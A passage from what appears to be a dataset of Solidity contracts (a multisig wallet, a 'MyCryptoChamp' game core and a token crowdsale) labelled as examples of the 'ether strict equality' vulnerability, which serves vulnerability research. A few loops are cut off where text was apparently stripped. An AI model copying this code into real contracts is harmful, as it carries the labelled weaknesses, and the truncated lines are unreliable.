0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= a); return c; } } /// @title MyCryptoChamp Core - Stores all of game data. Functions are stored in the replaceable contracts. This solution was required in order to avoid unexpected bugs and make game upgradeable. /// @author Patrik Mojzis contract MyCryptoChampCore { using SafeMath for uint; struct Champ { uint id; //same as position in Champ[] uint attackPower; uint defencePower; uint cooldownTime; //how long does it take to be able attack again uint readyTime; //if is smaller than block.timestamp champ is ready to fight uint winCount; uint lossCount; uint position; //subtract 1 and you get position in leaderboard[] uint price; //sale price uint withdrawCooldown; //if you one of the 800 best champs and withdrawCooldown is less as block.timestamp then you get ETH reward uint eq_sword; uint eq_shield; uint eq_helmet; bool forSale; //is champ for sale? } struct AddressInfo { uint withdrawal; uint champsCount; uint itemsCount; string name; } //Item struct struct Item { uint id; uint8 itemType; // 1 - Sword | 2 - Shield | 3 - Helmet uint8 itemRarity; // 1 - Common | 2 - Uncommon | 3 - Rare | 4 - Epic | 5 - Legendery | 6 - Forged uint attackPower; uint defencePower; uint cooldownReduction; uint price; uint onChampId; //can not be used to decide if item is on champ, because champ's id can be 0, 'bool onChamp' solves it. bool onChamp; bool forSale; //is item for sale? } Champ[] public champs; Item[] public items; mapping (uint => uint) public leaderboard; mapping (address => bool) private trusted; mapping (address => AddressInfo) public addressInfo; mapping (bool => mapping(address => mapping (address => bool))) public tokenOperatorApprovals; mapping (bool => mapping(uint => address)) public tokenApprovals; mapping (bool => mapping(uint => address)) public tokenToOwner; mapping (uint => string) public champToName; mapping (bool => uint) public tokensForSaleCount; uint public pendingWithdrawal = 0; address private contractOwner; Controller internal controller; constructor () public { trusted[msg.sender] = true; contractOwner = msg.sender; } /*============== MODIFIERS ==============*/ modifier onlyTrusted(){ require(trusted[msg.sender]); _; } modifier isPaid(uint _price) { require(msg.value >= _price); _; } modifier onlyNotOwnerOfItem(uint _itemId) { require(_itemId != 0); require(msg.sender != tokenToOwner[false][_itemId]); _; } modifier isItemForSale(uint _id){ require(items[_id].forSale); _; } modifier onlyNotOwnerOfChamp(uint _champId) { require(msg.sender != tokenToOwner[true][_champId]); _; } modifier isChampForSale(uint _id) { require(champs[_id].forSale); _; } /*============== CONTROL COTRACT ==============*/ function loadController(address _address) external onlyTrusted { controller = Controller(_address); } function setTrusted(address _address, bool _trusted) external onlyTrusted { trusted[_address] = _trusted; } function transferOwnership(address newOwner) public onlyTrusted { require(newOwner != address(0)); contractOwner = newOwner; } /*============== PRIVATE FUNCTIONS ==============*/ function _addWithdrawal(address _address, uint _amount) private { addressInfo[_address].withdrawal += _amount; pendingWithdrawal += _amount; } /// @notice Distribute input funds between contract owner and players function _distributeNewSaleInput(address _affiliateAddress) private { //contract owner _addWithdrawal(contractOwner, ((msg.value / 100) * 60)); // 60% //affiliate //checks if _affiliateAddress is set & if affiliate address is not buying player if(_affiliateAddress != address(0) && _affiliateAddress != msg.sender){ _addWithdrawal(_affiliateAddress, ((msg.value / 100) * 25)); //provision is 25% } } /*============== ONLY TRUSTED ==============*/ function addWithdrawal(address _address, uint _amount) public onlyTrusted { _addWithdrawal(_address, _amount); } function clearTokenApproval(address _from, uint _tokenId, bool _isTokenChamp) public onlyTrusted { require(tokenToOwner[_isTokenChamp][_tokenId] == _from); if (tokenApprovals[_isTokenChamp][_tokenId] != address(0)) { tokenApprovals[_isTokenChamp][_tokenId] = address(0); } } function emergencyWithdraw() external onlyTrusted { contractOwner.transfer(address(this).balance); } function setChampsName(uint _champId, string _name) public onlyTrusted { champToName[_champId] = _name; } function setLeaderboard(uint _x, uint _value) public onlyTrusted { leaderboard[_x] = _value; } function setTokenApproval(uint _id, address _to, bool _isTokenChamp) public onlyTrusted { tokenApprovals[_isTokenChamp][_id] = _to; } function setTokenOperatorApprovals(address _from, address _to, bool _approved, bool _isTokenChamp) public onlyTrusted { tokenOperatorApprovals[_isTokenChamp][_from][_to] = _approved; } function setTokenToOwner(uint _id, address _owner, bool _isTokenChamp) public onlyTrusted { tokenToOwner[_isTokenChamp][_id] = _owner; } function setTokensForSaleCount(uint _value, bool _isTokenChamp) public onlyTrusted { tokensForSaleCount[_isTokenChamp] = _value; } function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) public onlyTrusted { controller.transferToken(_from, _to, _id, _isTokenChamp); } function updateAddressInfo(address _address, uint _withdrawal, bool _updatePendingWithdrawal, uint _champsCount, bool _updateChampsCount, uint _itemsCount, bool _updateItemsCount, string _name, bool _updateName) public onlyTrusted { AddressInfo storage ai = addressInfo[_address]; if(_updatePendingWithdrawal){ ai.withdrawal = _withdrawal; } if(_updateChampsCount){ ai.champsCount = _champsCount; } if(_updateItemsCount){ ai.itemsCount = _itemsCount; } if(_updateName){ ai.name = _name; } } function newChamp( uint _attackPower, uint _defencePower, uint _cooldownTime, uint _winCount, uint _lossCount, uint _position, uint _price, uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale, address _owner ) public onlyTrusted returns (uint){ Champ memory champ = Champ({ id: 0, attackPower: 0, //CompilerError: Stack too deep, try removing local variables. defencePower: _defencePower, cooldownTime: _cooldownTime, readyTime: 0, winCount: _winCount, lossCount: _lossCount, position: _position, price: _price, withdrawCooldown: 0, eq_sword: _eq_sword, eq_shield: _eq_shield, eq_helmet: _eq_helmet, forSale: _forSale }); champ.attackPower = _attackPower; uint id = champs.push(champ) - 1; champs[id].id = id; leaderboard[_position] = id; addressInfo[_owner].champsCount++; tokenToOwner[true][id] = _owner; if(_forSale){ tokensForSaleCount[true]++; } return id; } function newItem( uint8 _itemType, uint8 _itemRarity, uint _attackPower, uint _defencePower, uint _cooldownReduction, uint _price, uint _onChampId, bool _onChamp, bool _forSale, address _owner ) public onlyTrusted returns (uint) { //create that struct Item memory item = Item({ id: 0, itemType: _itemType, itemRarity: _itemRarity, attackPower: _attackPower, defencePower: _defencePower, cooldownReduction: _cooldownReduction, price: _price, onChampId: _onChampId, onChamp: _onChamp, forSale: _forSale }); uint id = items.push(item) - 1; items[id].id = id; addressInfo[_owner].itemsCount++; tokenToOwner[false][id] = _owner; if(_forSale){ tokensForSaleCount[false]++; } return id; } function updateChamp( uint _champId, uint _attackPower, uint _defencePower, uint _cooldownTime, uint _readyTime, uint _winCount, uint _lossCount, uint _position, uint _price, uint _withdrawCooldown, uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale ) public onlyTrusted { Champ storage champ = champs[_champId]; if(champ.attackPower != _attackPower){champ.attackPower = _attackPower;} if(champ.defencePower != _defencePower){champ.defencePower = _defencePower;} if(champ.cooldownTime != _cooldownTime){champ.cooldownTime = _cooldownTime;} if(champ.readyTime != _readyTime){champ.readyTime = _readyTime;} if(champ.winCount != _winCount){champ.winCount = _winCount;} if(champ.lossCount != _lossCount){champ.lossCount = _lossCount;} if(champ.position != _position){ champ.position = _position; leaderboard[_position] = _champId; } if(champ.price != _price){champ.price = _price;} if(champ.withdrawCooldown != _withdrawCooldown){champ.withdrawCooldown = _withdrawCooldown;} if(champ.eq_sword != _eq_sword){champ.eq_sword = _eq_sword;} if(champ.eq_shield != _eq_shield){champ.eq_shield = _eq_shield;} if(champ.eq_helmet != _eq_helmet){champ.eq_helmet = _eq_helmet;} if(champ.forSale != _forSale){ champ.forSale = _forSale; if(_forSale){ tokensForSaleCount[true]++; }else{ tokensForSaleCount[true]--; } } } function updateItem( uint _id, uint8 _itemType, uint8 _itemRarity, uint _attackPower, uint _defencePower, uint _cooldownReduction, uint _price, uint _onChampId, bool _onChamp, bool _forSale ) public onlyTrusted { Item storage item = items[_id]; if(item.itemType != _itemType){item.itemType = _itemType;} if(item.itemRarity != _itemRarity){item.itemRarity = _itemRarity;} if(item.attackPower != _attackPower){item.attackPower = _attackPower;} if(item.defencePower != _defencePower){item.defencePower = _defencePower;} if(item.cooldownReduction != _cooldownReduction){item.cooldownReduction = _cooldownReduction;} if(item.price != _price){item.price = _price;} if(item.onChampId != _onChampId){item.onChampId = _onChampId;} if(item.onChamp != _onChamp){item.onChamp = _onChamp;} if(item.forSale != _forSale){ item.forSale = _forSale; if(_forSale){ tokensForSaleCount[false]++; }else{ tokensForSaleCount[false]--; } } } /*============== CALLABLE BY PLAYER ==============*/ function buyItem(uint _id, address _affiliateAddress) external payable onlyNotOwnerOfItem(_id) isItemForSale(_id) isPaid(items[_id].price) { if(tokenToOwner[false][_id] == address(this)){ _distributeNewSaleInput(_affiliateAddress); }else{ _addWithdrawal(tokenToOwner[false][_id], msg.value); } controller.transferToken(tokenToOwner[false][_id], msg.sender, _id, false); } function buyChamp(uint _id, address _affiliateAddress) external payable onlyNotOwnerOfChamp(_id) isChampForSale(_id) isPaid(champs[_id].price) { if(tokenToOwner[true][_id] == address(this)){ _distributeNewSaleInput(_affiliateAddress); }else{ _addWithdrawal(tokenToOwner[true][_id], msg.value); } controller.transferToken(tokenToOwner[true][_id], msg.sender, _id, true); } function changePlayersName(string _name) external { addressInfo[msg.sender].name = _name; } function withdrawToAddress(address _address) external { address playerAddress = _address; if(playerAddress == address(0)){ playerAddress = msg.sender; } uint share = addressInfo[playerAddress].withdrawal; //gets pending funds require(share > 0); //is it more than 0? addressInfo[playerAddress].withdrawal = 0; //set player's withdrawal pendings to 0 pendingWithdrawal = pendingWithdrawal.sub(share); //subtract share from total pendings playerAddress.transfer(share); //transfer } /*============== VIEW FUNCTIONS ==============*/ function getChampsByOwner(address _owner) external view returns(uint256[]) { uint256[] memory result = new uint256[](addressInfo[_owner].champsCount); uint256 counter = 0; for (uint256 i = 0; i < champs.length; i++) { if (tokenToOwner[true][i] == _owner) { result[counter] = i; counter++; } } return result; } function getTokensForSale(bool _isTokenChamp) view external returns(uint256[]){ uint256[] memory result = new uint256[](tokensForSaleCount[_isTokenChamp]); if(tokensForSaleCount[_isTokenChamp] > 0){ uint256 counter = 0; if(_isTokenChamp){ for (uint256 i = 0; i < champs.length; i++) { if (champs[i].forSale == true) { result[counter]=i; counter++; } } }else{ for (uint256 n = 0; n < items.length; n++) { if (items[n].forSale == true) { result[counter]=n; counter++; } } } } return result; } function getChampStats(uint256 _champId) public view returns(uint256,uint256,uint256){ Champ storage champ = champs[_champId]; Item storage sword = items[champ.eq_sword]; Item storage shield = items[champ.eq_shield]; Item storage helmet = items[champ.eq_helmet]; uint totalAttackPower = champ.attackPower + sword.attackPower + shield.attackPower + helmet.attackPower; //Gets champs AP uint totalDefencePower = champ.defencePower + sword.defencePower + shield.defencePower + helmet.defencePower; //Gets champs DP uint totalCooldownReduction = sword.cooldownReduction + shield.cooldownReduction + helmet.cooldownReduction; //Gets CR return (totalAttackPower, totalDefencePower, totalCooldownReduction); } function getItemsByOwner(address _owner) external view returns(uint256[]) { uint256[] memory result = new uint256[](addressInfo[_owner].itemsCount); uint256 counter = 0; for (uint256 i = 0; i < items.length; i++) { if (tokenToOwner[false][i] == _owner) { result[counter] = i; counter++; } } return result; } function getTokenCount(bool _isTokenChamp) external view returns(uint) { if(_isTokenChamp){ return champs.length - addressInfo[address(0)].champsCount; }else{ return items.length - 1 - addressInfo[address(0)].itemsCount; } } function getTokenURIs(uint _tokenId, bool _isTokenChamp) public view returns(string) { return controller.getTokenURIs(_tokenId,_isTokenChamp); } function onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp) external view returns(bool) { if(!_isTokenChamp){ require(_id != 0); } address owner = tokenToOwner[_isTokenChamp][_id]; return(_msgsender == owner || _msgsender == tokenApprovals[_isTokenChamp][_id] || tokenOperatorApprovals[_isTokenChamp][owner][_msgsender]); } /*============== DELEGATE ==============*/ function attack(uint _champId, uint _targetId) external{ controller.attack(_champId, _targetId, msg.sender); } function cancelTokenSale(uint _id, bool _isTokenChamp) public{ controller.cancelTokenSale(_id, msg.sender, _isTokenChamp); } function changeChampsName(uint _champId, string _name) external{ controller.changeChampsName(_champId, _name, msg.sender); } function forgeItems(uint _parentItemID, uint _childItemID) external{ controller.forgeItems(_parentItemID, _childItemID, msg.sender); } function giveToken(address _to, uint _champId, bool _isTokenChamp) external{ controller.giveToken(_to, _champId, msg.sender, _isTokenChamp); } function setTokenForSale(uint _id, uint _price, bool _isTokenChamp) external{ controller.setTokenForSale(_id, _price, msg.sender, _isTokenChamp); } function putOn(uint _champId, uint _itemId) external{ controller.putOn(_champId, _itemId, msg.sender); } function takeOffItem(uint _champId, uint8 _type) public{ controller.takeOffItem(_champId, _type, msg.sender); } function withdrawChamp(uint _id) external{ controller.withdrawChamp(_id, msg.sender); } function getChampReward(uint _position) public view returns(uint){ return controller.getChampReward(_position); } }",./Dataset/ether strict equality (SE),3,3 0x006b4425ba57148466c0c54af1c484348a14a8a4_NUCrowdsale.sol,"pragma solidity ^0.4.15; // File: contracts\infrastructure\ITokenRetreiver.sol /** * @title Token retrieve interface * * Allows tokens to be retrieved from a contract * * #created 29/09/2017 * #author Frank Bonnet */ contract ITokenRetreiver { /** * Extracts tokens from the contract * * @param _tokenContract The address of ERC20 compatible token */ function retreiveTokens(address _tokenContract); } // File: contracts\integration\wings\IWingsAdapter.sol /** * @title IWingsAdapter * * WINGS DAO Price Discovery & Promotion Pre-Beta https://www.wings.ai * * #created 04/10/2017 * #author Frank Bonnet */ contract IWingsAdapter { /** * Get the total raised amount of Ether * * Can only increase, meaning if you withdraw ETH from the wallet, it should be not modified (you can use two fields * to keep one with a total accumulated amount) amount of ETH in contract and totalCollected for total amount of ETH collected * * @return Total raised Ether amount */ function totalCollected() constant returns (uint); } // File: contracts\infrastructure\modifier\Owned.sol contract Owned { // The address of the account that is the current owner address internal owner; /** * The publisher is the inital owner */ function Owned() { owner = msg.sender; } /** * Access is restricted to the current owner */ modifier only_owner() { require(msg.sender == owner); _; } } // File: contracts\source\token\IToken.sol /** * @title ERC20 compatible token interface * * Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 * - Short address attack fix * * #created 29/09/2017 * #author Frank Bonnet */ contract IToken { /** * Get the total supply of tokens * * @return The total supply */ function totalSupply() constant returns (uint); /** * Get balance of `_owner` * * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) constant returns (uint); /** * Send `_value` token to `_to` from `msg.sender` * * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transfer(address _to, uint _value) returns (bool); /** * Send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom(address _from, address _to, uint _value) returns (bool); /** * `msg.sender` approves `_spender` to spend `_value` tokens * * @param _spender The address of the account able to transfer the tokens * @param _value The amount of tokens to be approved for transfer * @return Whether the approval was successful or not */ function approve(address _spender, uint _value) returns (bool); /** * Get the amount of remaining tokens that `_spender` is allowed to spend from `_owner` * * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) constant returns (uint); } // File: contracts\source\token\IManagedToken.sol /** * @title ManagedToken interface * * Adds the following functionallity to the basic ERC20 token * - Locking * - Issuing * * #created 29/09/2017 * #author Frank Bonnet */ contract IManagedToken is IToken { /** * Returns true if the token is locked * * @return Whether the token is locked */ function isLocked() constant returns (bool); /** * Unlocks the token so that the transferring of value is enabled * * @return Whether the unlocking was successful or not */ function unlock() returns (bool); /** * Issues `_value` new tokens to `_to` * * @param _to The address to which the tokens will be issued * @param _value The amount of new tokens to issue * @return Whether the tokens where sucessfully issued or not */ function issue(address _to, uint _value) returns (bool); } // File: contracts\source\crowdsale\ICrowdsale.sol /** * @title ICrowdsale * * Base crowdsale interface to manage the sale of * an ERC20 token * * #created 29/09/2017 * #author Frank Bonnet */ contract ICrowdsale { /** * Returns true if the contract is currently in the presale phase * * @return True if in presale phase */ function isInPresalePhase() constant returns (bool); /** * Returns true if `_beneficiary` has a balance allocated * * @param _beneficiary The account that the balance is allocated for * @param _releaseDate The date after which the balance can be withdrawn * @return True if there is a balance that belongs to `_beneficiary` */ function hasBalance(address _beneficiary, uint _releaseDate) constant returns (bool); /** * Get the allocated token balance of `_owner` * * @param _owner The address from which the allocated token balance will be retrieved * @return The allocated token balance */ function balanceOf(address _owner) constant returns (uint); /** * Get the allocated eth balance of `_owner` * * @param _owner The address from which the allocated eth balance will be retrieved * @return The allocated eth balance */ function ethBalanceOf(address _owner) constant returns (uint); /** * Get invested and refundable balance of `_owner` (only contributions during the ICO phase are registered) * * @param _owner The address from which the refundable balance will be retrieved * @return The invested refundable balance */ function refundableEthBalanceOf(address _owner) constant returns (uint); /** * Returns the rate and bonus release date * * @param _phase The phase to use while determining the rate * @param _volume The amount wei used to determine what volume multiplier to use * @return The rate used in `_phase` multiplied by the corresponding volume multiplier */ function getRate(uint _phase, uint _volume) constant returns (uint); /** * Convert `_wei` to an amount in tokens using * the `_rate` * * @param _wei amount of wei to convert * @param _rate rate to use for the conversion * @return Amount in tokens */ function toTokens(uint _wei, uint _rate) constant returns (uint); /** * Withdraw allocated tokens */ function withdrawTokens(); /** * Withdraw allocated ether */ function withdrawEther(); /** * Refund in the case of an unsuccessful crowdsale. The * crowdsale is considered unsuccessful if minAmount was * not raised before end of the crowdsale */ function refund(); /** * Receive Eth and issue tokens to the sender */ function () payable; } // File: contracts\source\crowdsale\Crowdsale.sol /** * @title Crowdsale * * Abstract base crowdsale contract that manages the sale of * an ERC20 token * * #created 29/09/2017 * #author Frank Bonnet */ contract Crowdsale is ICrowdsale, Owned { enum Stages { Deploying, Deployed, InProgress, Ended } struct Balance { uint eth; uint tokens; uint index; } struct Percentage { uint eth; uint tokens; bool overwriteReleaseDate; uint fixedReleaseDate; uint index; } struct Payout { uint percentage; uint vestingPeriod; } struct Phase { uint rate; uint end; uint bonusReleaseDate; bool useVolumeMultiplier; } struct VolumeMultiplier { uint rateMultiplier; uint bonusReleaseDateMultiplier; } // Crowdsale details uint public baseRate; uint public minAmount; uint public maxAmount; uint public minAcceptedAmount; uint public minAmountPresale; uint public maxAmountPresale; uint public minAcceptedAmountPresale; // Company address address public beneficiary; // Denominators uint internal percentageDenominator; uint internal tokenDenominator; // Crowdsale state uint public start; uint public presaleEnd; uint public crowdsaleEnd; uint public raised; uint public allocatedEth; uint public allocatedTokens; Stages public stage = Stages.Deploying; // Token contract IManagedToken public token; // Invested balances mapping (address => uint) private balances; // Alocated balances mapping (address => mapping(uint => Balance)) private allocated; mapping(address => uint[]) private allocatedIndex; // Stakeholders mapping (address => Percentage) private stakeholderPercentages; address[] private stakeholderPercentagesIndex; Payout[] private stakeholdersPayouts; // Crowdsale phases Phase[] private phases; // Volume multipliers mapping (uint => VolumeMultiplier) private volumeMultipliers; uint[] private volumeMultiplierThresholds; /** * Throw if at stage other than current stage * * @param _stage expected stage to test for */ modifier at_stage(Stages _stage) { require(stage == _stage); _; } /** * Only after crowdsaleEnd plus `_time` * * @param _time Time to pass */ modifier only_after(uint _time) { require(now > crowdsaleEnd + _time); _; } /** * Only after crowdsale */ modifier only_after_crowdsale() { require(now > crowdsaleEnd); _; } /** * Throw if sender is not beneficiary */ modifier only_beneficiary() { require(beneficiary == msg.sender); _; } /** * Allows the implementing contract to validate a * contributing account * * @param _contributor Address that is being validated * @return Wheter the contributor is accepted or not */ function isAcceptedContributor(address _contributor) internal constant returns (bool); /** * Setup the crowdsale * * @param _start The timestamp of the start date * @param _token The token that is sold * @param _tokenDenominator The token amount of decimals that the token uses * @param _percentageDenominator The percision of percentages * @param _minAmount The min cap for the ICO * @param _maxAmount The max cap for the ICO * @param _minAcceptedAmount The lowest accepted amount during the ICO phase * @param _minAmountPresale The min cap for the presale * @param _maxAmountPresale The max cap for the presale * @param _minAcceptedAmountPresale The lowest accepted amount during the presale phase */ function Crowdsale(uint _start, address _token, uint _tokenDenominator, uint _percentageDenominator, uint _minAmount, uint _maxAmount, uint _minAcceptedAmount, uint _minAmountPresale, uint _maxAmountPresale, uint _minAcceptedAmountPresale) { token = IManagedToken(_token); tokenDenominator = _tokenDenominator; percentageDenominator = _percentageDenominator; start = _start; minAmount = _minAmount; maxAmount = _maxAmount; minAcceptedAmount = _minAcceptedAmount; minAmountPresale = _minAmountPresale; maxAmountPresale = _maxAmountPresale; minAcceptedAmountPresale = _minAcceptedAmountPresale; } /** * Setup rates and phases * * @param _baseRate The rate without bonus * @param _phaseRates The rates for each phase * @param _phasePeriods The periods that each phase lasts (first phase is the presale phase) * @param _phaseBonusLockupPeriods The lockup period that each phase lasts * @param _phaseUsesVolumeMultiplier Wheter or not volume bonusses are used in the respective phase */ function setupPhases(uint _baseRate, uint[] _phaseRates, uint[] _phasePeriods, uint[] _phaseBonusLockupPeriods, bool[] _phaseUsesVolumeMultiplier) public only_owner at_stage(Stages.Deploying) { baseRate = _baseRate; presaleEnd = start + _phasePeriods[0]; // First phase is expected to be the presale phase crowdsaleEnd = start; // Plus the sum of the rate phases for (uint i = 0; i < _phaseRates.length; i++) { crowdsaleEnd += _phasePeriods[i]; phases.push(Phase(_phaseRates[i], crowdsaleEnd, 0, _phaseUsesVolumeMultiplier[i])); } for (uint ii = 0; ii < _phaseRates.length; ii++) { if (_phaseBonusLockupPeriods[ii] > 0) { phases[ii].bonusReleaseDate = crowdsaleEnd + _phaseBonusLockupPeriods[ii]; } } } /** * Setup stakeholders * * @param _stakeholders The addresses of the stakeholders (first stakeholder is the beneficiary) * @param _stakeholderEthPercentages The eth percentages of the stakeholders * @param _stakeholderTokenPercentages The token percentages of the stakeholders * @param _stakeholderTokenPayoutOverwriteReleaseDates Wheter the vesting period is overwritten for the respective stakeholder * @param _stakeholderTokenPayoutFixedReleaseDates The vesting period after which the whole percentage of the tokens is released to the respective stakeholder * @param _stakeholderTokenPayoutPercentages The percentage of the tokens that is released at the respective date * @param _stakeholderTokenPayoutVestingPeriods The vesting period after which the respective percentage of the tokens is released */ function setupStakeholders(address[] _stakeholders, uint[] _stakeholderEthPercentages, uint[] _stakeholderTokenPercentages, bool[] _stakeholderTokenPayoutOverwriteReleaseDates, uint[] _stakeholderTokenPayoutFixedReleaseDates, uint[] _stakeholderTokenPayoutPercentages, uint[] _stakeholderTokenPayoutVestingPeriods) public only_owner at_stage(Stages.Deploying) { beneficiary = _stakeholders[0]; // First stakeholder is expected to be the beneficiary for (uint i = 0; i < _stakeholders.length; i++) { stakeholderPercentagesIndex.push(_stakeholders[i]); stakeholderPercentages[_stakeholders[i]] = Percentage( _stakeholderEthPercentages[i], _stakeholderTokenPercentages[i], _stakeholderTokenPayoutOverwriteReleaseDates[i], _stakeholderTokenPayoutFixedReleaseDates[i], i); } // Percentages add up to 100 for (uint ii = 0; ii < _stakeholderTokenPayoutPercentages.length; ii++) { stakeholdersPayouts.push(Payout(_stakeholderTokenPayoutPercentages[ii], _stakeholderTokenPayoutVestingPeriods[ii])); } } /** * Setup volume multipliers * * @param _volumeMultiplierRates The rates will be multiplied by this value (denominated by 4) * @param _volumeMultiplierLockupPeriods The lockup periods will be multiplied by this value (denominated by 4) * @param _volumeMultiplierThresholds The volume thresholds for each respective multiplier */ function setupVolumeMultipliers(uint[] _volumeMultiplierRates, uint[] _volumeMultiplierLockupPeriods, uint[] _volumeMultiplierThresholds) public only_owner at_stage(Stages.Deploying) { require(phases.length > 0); volumeMultiplierThresholds = _volumeMultiplierThresholds; for (uint i = 0; i < volumeMultiplierThresholds.length; i++) { volumeMultipliers[volumeMultiplierThresholds[i]] = VolumeMultiplier(_volumeMultiplierRates[i], _volumeMultiplierLockupPeriods[i]); } } /** * After calling the deploy function the crowdsale * rules become immutable */ function deploy() public only_owner at_stage(Stages.Deploying) { require(phases.length > 0); require(stakeholderPercentagesIndex.length > 0); stage = Stages.Deployed; } /** * Prove that beneficiary is able to sign transactions * and start the crowdsale */ function confirmBeneficiary() public only_beneficiary at_stage(Stages.Deployed) { stage = Stages.InProgress; } /** * Returns true if the contract is currently in the presale phase * * @return True if in presale phase */ function isInPresalePhase() public constant returns (bool) { return stage == Stages.InProgress && now >= start && now <= presaleEnd; } /** * Returns true if `_beneficiary` has a balance allocated * * @param _beneficiary The account that the balance is allocated for * @param _releaseDate The date after which the balance can be withdrawn * @return True if there is a balance that belongs to `_beneficiary` */ function hasBalance(address _beneficiary, uint _releaseDate) public constant returns (bool) { return allocatedIndex[_beneficiary].length > 0 && _releaseDate == allocatedIndex[_beneficiary][allocated[_beneficiary][_releaseDate].index]; } /** * Get the allocated token balance of `_owner` * * @param _owner The address from which the allocated token balance will be retrieved * @return The allocated token balance */ function balanceOf(address _owner) public constant returns (uint) { uint sum = 0; for (uint i = 0; i < allocatedIndex[_owner].length; i++) { sum += allocated[_owner][allocatedIndex[_owner][i]].tokens; } return sum; } /** * Get the allocated eth balance of `_owner` * * @param _owner The address from which the allocated eth balance will be retrieved * @return The allocated eth balance */ function ethBalanceOf(address _owner) public constant returns (uint) { uint sum = 0; for (uint i = 0; i < allocatedIndex[_owner].length; i++) { sum += allocated[_owner][allocatedIndex[_owner][i]].eth; } return sum; } /** * Get invested and refundable balance of `_owner` (only contributions during the ICO phase are registered) * * @param _owner The address from which the refundable balance will be retrieved * @return The invested refundable balance */ function refundableEthBalanceOf(address _owner) public constant returns (uint) { return now > crowdsaleEnd && raised < minAmount ? balances[_owner] : 0; } /** * Returns the current phase based on the current time * * @return The index of the current phase */ function getCurrentPhase() public constant returns (uint) { for (uint i = 0; i < phases.length; i++) { if (now <= phases[i].end) { return i; break; } } return phases.length; // Does not exist } /** * Returns the rate and bonus release date * * @param _phase The phase to use while determining the rate * @param _volume The amount wei used to determin what volume multiplier to use * @return The rate used in `_phase` multiplied by the corresponding volume multiplier */ function getRate(uint _phase, uint _volume) public constant returns (uint) { uint rate = 0; if (stage == Stages.InProgress && now >= start) { Phase storage phase = phases[_phase]; rate = phase.rate; // Find volume multiplier if (phase.useVolumeMultiplier && volumeMultiplierThresholds.length > 0 && _volume >= volumeMultiplierThresholds[0]) { for (uint i = volumeMultiplierThresholds.length; i > 0; i--) { if (_volume >= volumeMultiplierThresholds[i - 1]) { VolumeMultiplier storage multiplier = volumeMultipliers[volumeMultiplierThresholds[i - 1]]; rate += phase.rate * multiplier.rateMultiplier / percentageDenominator; break; } } } } return rate; } /** * Get distribution data based on the current phase and * the volume in wei that is being distributed * * @param _phase The current crowdsale phase * @param _volume The amount wei used to determine what volume multiplier to use * @return Volumes and corresponding release dates */ function getDistributionData(uint _phase, uint _volume) internal constant returns (uint[], uint[]) { Phase storage phase = phases[_phase]; uint remainingVolume = _volume; bool usingMultiplier = false; uint[] memory volumes = new uint[](1); uint[] memory releaseDates = new uint[](1); // Find volume multipliers if (phase.useVolumeMultiplier && volumeMultiplierThresholds.length > 0 && _volume >= volumeMultiplierThresholds[0]) { uint phaseReleasePeriod = phase.bonusReleaseDate - crowdsaleEnd; for (uint i = volumeMultiplierThresholds.length; i > 0; i--) { if (_volume >= volumeMultiplierThresholds[i - 1]) { if (!usingMultiplier) { volumes = new uint[](i + 1); releaseDates = new uint[](i + 1); usingMultiplier = true; } VolumeMultiplier storage multiplier = volumeMultipliers[volumeMultiplierThresholds[i - 1]]; uint releaseDate = phase.bonusReleaseDate + phaseReleasePeriod * multiplier.bonusReleaseDateMultiplier / percentageDenominator; uint volume = remainingVolume - volumeMultiplierThresholds[i - 1]; // Store increment volumes[i] = volume; releaseDates[i] = releaseDate; remainingVolume -= volume; } } } // Store increment volumes[0] = remainingVolume; releaseDates[0] = phase.bonusReleaseDate; return (volumes, releaseDates); } /** * Convert `_wei` to an amount in tokens using * the `_rate` * * @param _wei amount of wei to convert * @param _rate rate to use for the conversion * @return Amount in tokens */ function toTokens(uint _wei, uint _rate) public constant returns (uint) { return _wei * _rate * tokenDenominator / 1 ether; } /** * Function to end the crowdsale by setting * the stage to Ended */ function endCrowdsale() public at_stage(Stages.InProgress) { require(now > crowdsaleEnd || raised >= maxAmount); require(raised >= minAmount); stage = Stages.Ended; // Unlock token if (!token.unlock()) { revert(); } // Allocate tokens (no allocation can be done after this period) uint totalTokenSupply = token.totalSupply() + allocatedTokens; for (uint i = 0; i < stakeholdersPayouts.length; i++) { Payout storage p = stakeholdersPayouts[i]; _allocateStakeholdersTokens(totalTokenSupply * p.percentage / percentageDenominator, now + p.vestingPeriod); } // Allocate remaining ETH _allocateStakeholdersEth(this.balance - allocatedEth, 0); } /** * Withdraw allocated tokens */ function withdrawTokens() public { uint tokensToSend = 0; for (uint i = 0; i < allocatedIndex[msg.sender].length; 